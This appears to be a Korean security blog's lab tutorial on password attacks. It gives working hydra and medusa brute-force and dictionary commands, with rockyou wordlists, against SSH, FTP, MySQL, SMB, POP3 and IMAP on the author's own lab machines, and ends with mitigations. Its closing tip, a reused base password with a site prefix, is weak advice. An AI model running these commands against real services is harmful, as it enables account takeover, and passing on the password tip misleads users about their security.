Password Attack
평범함 사람이라면 갑자기 Brute Force Attack에 대해 궁금해진 적이 있지 않은가?
오늘은 Password Attack(비밀번호 공격)에 대해 알아보겠다.
Password Attack은 비밀번호 자체를 노리는 공격이다. 가장 원초적이고, 지금도 침해 사고의 상당수가 약한 비밀번호와 자격증명 유출에서 시작될 만큼 여전히 강력한 위협이다.
실습 환경.
● Rocky Linux 9.7 — SSH, FTP, MariaDB, IMAP/POP3
● Windows 7 / Windows 10 — SMB
● Kali Linux — hydra, medusa
1. Password Attack의 3가지 종류
비밀번호를 알아내려는 시도는 보통 다음 셋 중 하나다.
● 무차별 대입 공격 (Brute Force Attack) — 가능한 모든 문자 조합을 하나씩 다 대입해본다. 이론상 실패할 수 없지만, 길이가 길어지면 현실적인 시간 안에 끝나지 않는다.
● 사전 공격 (Dictionary Attack) — 자주 쓰이는 비밀번호 목록(사전 파일)을 가져다 차례로 시도한다. 사람들이 비슷한 비밀번호를 쓰는 경향을 노린다.
● 추측 공격 (Guessing Attack) — 대상의 개인정보(생일, 가족 이름, 회사명 등)를 토대로 후보를 좁힌다. 사회공학(Social Engineering)과 결합되는 경우가 많다.
세 가지가 무 자르듯 갈리는 건 아니고, 실무 공격은 보통 사전+규칙 변환+무차별 대입을 섞어서 진행된다. 도구들도 이를 모두 지원한다.
2. 비밀번호의 구조
비밀번호를 만드는 데 쓸 수 있는 문자는 크게 세 부류다.
● 숫자 — 0~9, 총 10자
● 알파벳 — 대문자 26자 + 소문자 26자, 총 52자
● 특수문자 — !@#$%^&*()... 등 총 약 32자 (ASCII 출력 가능 문자 95개에서 알파벳·숫자·공백을 뺀 나머지)
보통 사이트에서 비밀번호 정책으로 권장하는 기준은 이렇다.
● 2종 조합 (예: 숫자 + 알파벳) → 10자 이상 ● 3종 조합 (숫자 + 알파벳 + 특수문자) → 8자 이상
이 정도 길이가 되어야 무차별 대입 공격(Brute Force)으로 뚫으려 해도 현실적이지 않은 시간이 걸리기 때문이다. 예컨대 3종 조합 8자리면 경우의 수가 대략 (10+52+32)⁸ ≈ 6×10¹⁵ 개 정도다. 초당 백만 번을 시도해도 200년 가까이 걸린다.
3. 솔트와 stretching
본격적인 공격에 들어가기 전, 서버는 비밀번호를 어떻게 저장하는지 한 번 짚고 가자. 리눅스에서 사용자의 비밀번호는 평문이 아니라 해시 값으로 /etc/shadow 파일에 저장된다.
실험을 위해 Rocky Linux에 사용자 셋을 만들어보겠다. 세 사용자 모두 같은 비밀번호 123456 으로 설정한다.
useradd pse1 && echo "123456" | passwd --stdin pse1
useradd pse2 && echo "123456" | passwd --stdin pse2
useradd pse3 && echo "123456" | passwd --stdin pse3
cat /etc/shadow
pse1:$6$rounds=100000$/.5dh3LOssV/EtOB$V.AcGPN480H78VQs2OpntLr9ihLb7HT4w2mIQQ8zaNG65agxEp8JSrCC9RS/wUMJNAH7L8FYyI9B/wpOjHnBu.:20602:0:99999:7:::
pse2:$6$rounds=100000$/kSnvVe8KDpBE3Cn$KxUGcXV.yfbFPXXv2fcsLJ3nPtmjmzvqbba1yTzxCW7QNk.Hre6ATuj..mP7aKQLwOXjNLf502KFvzRQuiUoi/:20602:0:99999:7:::
pse3:$6$rounds=100000$n9xc3IFBN5UcRJif$vD2kqwGSJNyCbEo2Hd7HnySuco2SWBywrAq67TzMcK2oVPqM04DdnzhTbea9R4DdJPM.2b8SgnY3Vozhl.H1B.:20602:0:99999:7:::

분명히 세 사용자 모두 비밀번호가 123456 으로 동일한데, 저장된 해시 값은 완전히 다르다. 마법이 아니라 솔트(salt) 라는 게 중간에 끼어 있기 때문이다.
비밀번호 필드의 구조는 이렇게 생겼다.
$6$rounds=100000$ n9xc3IFBN5UcRJif $ vD2kqwGSJNyCbEo2...
│ │ │ │
│ │ │ └─ 실제 해시 결과
│ │ └─ 솔트 (salt) — 사용자마다 랜덤 생성
│ └─ stretching 횟수 (10만 번 반복 해싱)
└─ 알고리즘 ID (6 = SHA-512)
시스템은 비밀번호를 그냥 SHA-512에 통과시키는 게 아니다.
(salt + 비밀번호)를 SHA-512로 100,000번 반복 해싱한 결과를 저장한다.
● 솔트(salt) — 사용자마다 다른 임의의 문자열을 끼워 넣어, 같은 비밀번호라도 다른 해시가 나오게 만든다.
이게 없으면 공격자는 미리 계산해둔 해시 테이블(레인보우 테이블)로 뚫을 수 있다.
● stretching(반복 해싱) — 한 번 검증에 10만 번을 돌리니, 정상 로그인은 미세하게 느려지지만 무차별 대입은 10만 배 비싸진다.
셋이 똑같이 123456을 써도 해시값을 보고는 그 사실을 알 수 없다.
4. hydra
THC-Hydra는 SSH·FTP·MySQL·SMB 등 수많은 프로토콜에 대해 로그인 시도를 병렬로 빠르게 날리는 도구다. Kali에 기본 탑재돼 있다.
기본 사용법
hydra -l pse1 -p 123456 ssh://192.168.10.50 -f -V
# └ 계정 └ 비밀번호 └ 프로토콜://대상IP └ -f: 발견 시 중지
# └ -V: 진행 출력

주요 옵션
옵션 설명
| -l <user> | 단일 계정 지정 |
| -L <file> | 계정 사전 파일 지정 |
| -p <pass> | 단일 패스워드 지정 |
| -P <file> | 패스워드 사전 파일 지정 |
| -V | 시도 중인 계정/패스워드를 실시간 출력 |
| -f | 유효한 자격증명 발견 시 즉시 중지 |
| -s <port> | 기본 포트가 아닐 때 포트 지정 |
| -x MIN:MAX:CHARSET | 패스워드 자동 조합 (무차별 대입) |
-f는 항상 켜두는 게 좋다. 켜지 않으면 사전 파일을 다 돌릴 때 안그래도 오래걸리는데 비밀번호를 이미 찾았는데도 계속 공격해서 시간낭비 할 수 있다.
사전 파일 공격
직접 작은 사전을 만들어 시도해보겠다.
mkdir /root/pse && cd /root/pse
vi pass.txt
123456
54321
qwerty
password
hydra -l pse1 -P /root/pse/pass.txt ssh://192.168.10.50 -f -V

계정 쪽도 사전 파일로 줄 수 있다.
hydra -L /root/pse/users.txt -P /root/pse/pass.txt ftp://192.168.10.50 -f -V
Kali에는 미리 만들어진 사전들이 곳곳에 있다.
# John the Ripper가 가져다놓은 사전
hydra -l pse1 -P /usr/share/john/password.lst ssh://192.168.10.50 -f -V
# rockyou — 실제 유출된 약 1,400만 개 비밀번호 모음
gunzip /usr/share/wordlists/rockyou.txt.gz
hydra -l pse1 -P /usr/share/wordlists/rockyou.txt ssh://192.168.10.50 -f -V


rockyou.txt는 2009년 RockYou.com 유출 사건에서 나온 실제 사용자들의 비밀번호 목록이다. 현실에서 사람들이 어떤 비밀번호를 쓰는지 그대로 담겨 있어 사전 공격의 표준 사전처럼 쓰인다.
포트가 기본이 아닐 때
서비스 포트가 기본값(SSH 22, FTP 21 등)이 아닐 때는 -s로 지정한다. 예를 들어 Rocky 쪽 vsftpd를 2121 포트로 바꿔보면.
vi /etc/vsftpd/vsftpd.conf
listen_port=2121

systemctl restart vsftpd
이제 기본 포트로 공격하면 실패한다.
hydra -l pse1 -p 123456 ftp://192.168.10.50 -f -V # 실패 (21번 포트가 닫혀있음)
hydra -l pse1 -p 123456 ftp://192.168.10.50 -f -V -s 2121 # 성공
SSH도 똑같다. /etc/ssh/sshd_config에서 #Port 22 주석을 풀고 Port 2002로 바꾸면 -s 2002를 줘야 한다.

여기서 재미있는 점은 SSH 포트를 2002로 바꾼 뒤 nmap으로 스캔해보면 결과가 2002/tcp open globe로 뜬다. 이건 nmap이 /etc/services를 참조해서 그 포트의 원래 등록된 주인 을 같이 보여주기 때문이다. 2002는 IANA에 globe라는 서비스로 등록돼 있어서 그렇게 표기되는 것이다. 실제로 그 자리에서 도는 건 SSH지만 nmap이 그렇게 적은 것이다.
무차별 대입
-x MIN:MAX:CHARSET 형식으로 길이 범위와 문자셋을 직접 지정한다. CHARSET 부분의 기호는 이렇게 약속돼 있다.
● a → 소문자 (a~z)
● A → 대문자 (A~Z)
● 1 → 숫자 (0~9)
● 특수문자 → charset에 그 문자를 직접 나열 (ex: aA1!@#$)
예를 들어 6자리 숫자만 시도하려면:
hydra -l pse1 -x 6:6:1 ssh://192.168.10.50 -f -V

비밀번호를 3자리 영문+숫자 13c으로 바꿔놓고 시도해보면 빠르게 찾는다.
passwd pse1 # 새 비번을 13c으로 변경
hydra -l pse1 -x 3:3:a1 ssh://192.168.10.50 -f -V
# └ 소문자 + 숫자 charset
Brute Force는 이론상 실패할 수 없는 공격이다. 모든 조합을 다 해보니까. 하지만 현실에서는 사용하기 어렵다.
● 임계값(Threshold) / 계정 잠금 — 몇 번 실패하면 계정을 잠그거나 IP를 차단한다.
네트워크 관리사 시험을 보다보면 윈도우 임계값 설정 문제에 있는 그 임계값이다.
● 시간 — 임계값이 없어도 길이가 늘어나면 엄청나게 긴 시간이 든다.
MySQL 공격
hydra의 강점은 수많은 프로토콜을 같은 인터페이스로 공격할 수 있다는 점이다.
# Rocky 서버에 MariaDB 설치
dnf -y install mariadb-server
systemctl start mariadb
mysql -u root -p
MySQL 안에서 권한을 다르게 준 사용자 4명을 만든다.
-- 내부에서만 접근 가능
CREATE USER 'pse1'@'localhost' IDENTIFIED BY '123456';
GRANT ALL PRIVILEGES ON pse.* TO 'pse1'@'localhost';
-- 어디서든 접근 가능 (% 와일드카드)
CREATE USER 'pse2'@'%' IDENTIFIED BY '123456';
GRANT ALL PRIVILEGES ON pse.* TO 'pse2'@'%';
-- 특정 서브넷에서만 접근 가능
CREATE USER 'pse3'@'192.168.10.%' IDENTIFIED BY '123456';
-- 특정 IP에서만 접근 가능
CREATE USER 'pse4'@'192.168.10.250' IDENTIFIED BY '123456';
이제 Kali에서 공격하면:
hydra -l pse1 -p 123456 mysql://192.168.10.50 -f -V # localhost로 묶여있어 외부 접근 불가
hydra -l pse2 -p 123456 mysql://192.168.10.50 -f -V # '%'로 외부도 허용


같은 비밀번호인데도 호스트 제한 한 줄로 결과가 갈린다.
SMB 공격과 Windows 7, Windows 10의 차이
Windows 7의 SMB 1.0에는 그 악명 높은 EternalBlue(MS17-010)를 포함해 다수의 취약점이 존재한다. 단순한 비밀번호 대입 자체도 SMB1 위에서는 큰 저항 없이 통한다.
EternalBlue는 Mimikatz와 함께 보안에 관심이 있는 사람이라면 모를 수가 없는 취약점이다.
EthernalBlue는 원래 미국 NSA가 몰래 가지고 있던 취약점이었는데 신원 미상의(러시아 그룹 추정) Shadow Brokers이라는 해킹 그룹이 NSA에서 유출한 것으로 추정되는 해킹 도구 모음을 공개하면서 세상에 알려졌다.
EhernalBlue를 사용한 유명한 공격에는 (북한 추정) 해킹 그룹이 만들어 전 세계를 강타한 WannaCry 랜섬웨어와
(러시아 추정) 해킹 그룹이 만들어 우크라이나를 강타한 NotPetya가 있다.
:: Windows 7에서 실습용 계정 생성
cmd를 켤 때 관리자 권한으로 켜야한다
net user root 123456 /add
# Kali에서 SMB 공격
hydra -l root -p 123456 smb://192.168.10.202 -V -f # 성공
반면 Windows 10은 보안 강화로 SMB 1.0이 기본 비활성화돼 있고 SMB 2 / SMB 3을 사용한다. 그래서 동일한 방식의 SMB1 기반 공격은 통하지 않는다.
"SMB Direct"는 SMB 버전 이름이 아니다. SMB 3에 포함된 RDMA(Remote Direct Memory Access) 기반 고속 전송 기능으로, RDMA NIC가 달린 데이터센터 환경에서나 의미가 있다. Windows 10이 일반적으로 쓰는 건 SMB 2 / SMB 3이고, SMB Direct는 그 위에 옵션으로 얹히는 가속 기능이다.

테스트 목적으로 Windows 10에서 취약한 SMB 1.0을 다시 설치(제어판 → "프로그램 및 기능" → "Windows 기능 켜기/끄기" → "SMB 1.0/CIFS 파일 공유 지원") 한 뒤 재부팅하면, 일부러 옛 프로토콜을 켜둔 셈이 되어 SMB1 기반 공격이 다시 먹힌다. 실제 운영 환경에서는 절대로 SMB 1.0을 켜두면 안 된다. WannaCry의 진원지가 바로 여기다.
여기까지 해서 SSH, FTP, MySQL, SMB 네 프로토콜에 대한 hydra 공격을 모두 성공시켰다.
5. medusa
medusa도 hydra와 비슷한 병렬 로그인 크래커다. 지원 프로토콜 목록은 hydra와 상당히 겹치고, 옵션 글자만 조금 다르다.
"medusa는 HTTP/POP3/IMAP을 지원하고 hydra는 안 된다라고 알고 있었는데 찾아본 결과 이는 사실이 아니다. hydra도 IMAP, POP3, HTTP-GET/POST/FORM 모듈을 모두 지원한다 (kali.org의 공식 hydra 문서에서 확인 가능). medusa의 진짜 차이는 스레딩 모델(병렬 처리 방식) 과 일부 모듈의 안정성/호환성에 있다. 어떤 환경에서는 hydra가 잘 안 되고 medusa가 잘 되거나, 그 반대인 경우가 있어서 두 도구를 모두 써보는 게 좋다.
기본 사용법
medusa -u pse1 -p 123456 -h 192.168.10.50 -M ssh
medusa -u pse2 -p 123456 -h 192.168.10.50 -M mysql
hydra와 달리 medusa는 옵션 글자가 다르다.
의미 hydra medusa
| 단일 계정 | -l | -u |
| 계정 파일 | -L | -U |
| 단일 패스워드 | -p | -p |
| 패스워드 파일 | -P | -P |
| 대상 호스트 | URL//IP | -h <IP> |
| 포트 지정 | -s | -n |
| 프로토콜 | URL 스킴 | -M <모듈명> |
포트 지정과 사전 파일
# 비표준 포트로 FTP 공격
medusa -u pse2 -p 123456 -h 192.168.10.50 -n 2121 -M ftp
# 계정·패스워드 둘 다 사전 파일
medusa -U /root/pse/users.txt -P /root/pse/pass.txt -h 192.168.10.50 -M ftp
POP3 / IMAP 실습
메일 서버 프로토콜인 POP3와 IMAP은 평문 인증을 지원해 비밀번호 공격의 단골 표적이다. Rocky에 dovecot을 깔아 실습 환경을 만들어보겠다.
# Rocky에서 dovecot 설치 (POP3/IMAP 서버)
dnf -y install dovecot
systemctl enable --now dovecot
이제 Kali에서:
medusa -u pse1 -P /root/pse/pass.txt -h 192.168.10.50 -M pop3
medusa -u pse1 -P /root/pse/pass.txt -h 192.168.10.50 -M imap
물론 hydra로도 같은 공격이 된다.
hydra -l pse1 -P /root/pse/pass.txt pop3://192.168.10.50 -f -V
hydra -l pse1 -P /root/pse/pass.txt imap://192.168.10.50 -f -V
마치며...
책에서만 보던 EternalBlue가 SMB1 위에 멀쩡히 살아있다는 것을 보니 짜릿했다.
나중에 워너크라이를 아용해 SMB1 취약점 공격을 해보겠다.
방어자 입장에서 해야될 것.
● 임계값/계정 잠금을 설정해 무차별 대입을 비싸게 만든다 (fail2ban, PAM의 pam_faillock 등)
● SSH는 비밀번호 인증 대신 키 기반 인증으로 갈아탄다 (PasswordAuthentication no)
● MySQL의 @'host' 부분을 최소 범위로 묶는다 ('%'사용 피하기)
● SMB 1.0은 무조건 끈다. Windows 10/11에서는 기본 비활성화 그대로 두기
● 솔트와 충분한 stretching을 사용하는 해시 알고리즘(SHA-512 crypt, bcrypt, Argon2 등)을 쓰고, MD5/SHA-1 단독 해시는 절대 금지
● 비밀번호 만들 때 사이트별로 다른 비밀번호(과거 유튜브에서 보안 전문가분이 비밀번호 만드는 법을 봤는데 기본적으로 비밀번호는 똑같이 유지하되 사이트 앞자리 영어를 앞에 붙여서 만든다고 했다. 이것에 습관만 되면 엄청 보안적으로 좋아보인다.)
'네트워크보안' 카테고리의 다른 글
| DNS Server Set up과 DNS Scanning (0) | 2026.05.29 |
|---|---|
| Nmap 명령어 정리 (0) | 2026.05.28 |
| 사설, 공인 IP에 대하여(네트워크 기초) (0) | 2026.05.27 |
| NMAP과 wireshark를 활용한 서버 스캐닝 (0) | 2026.05.24 |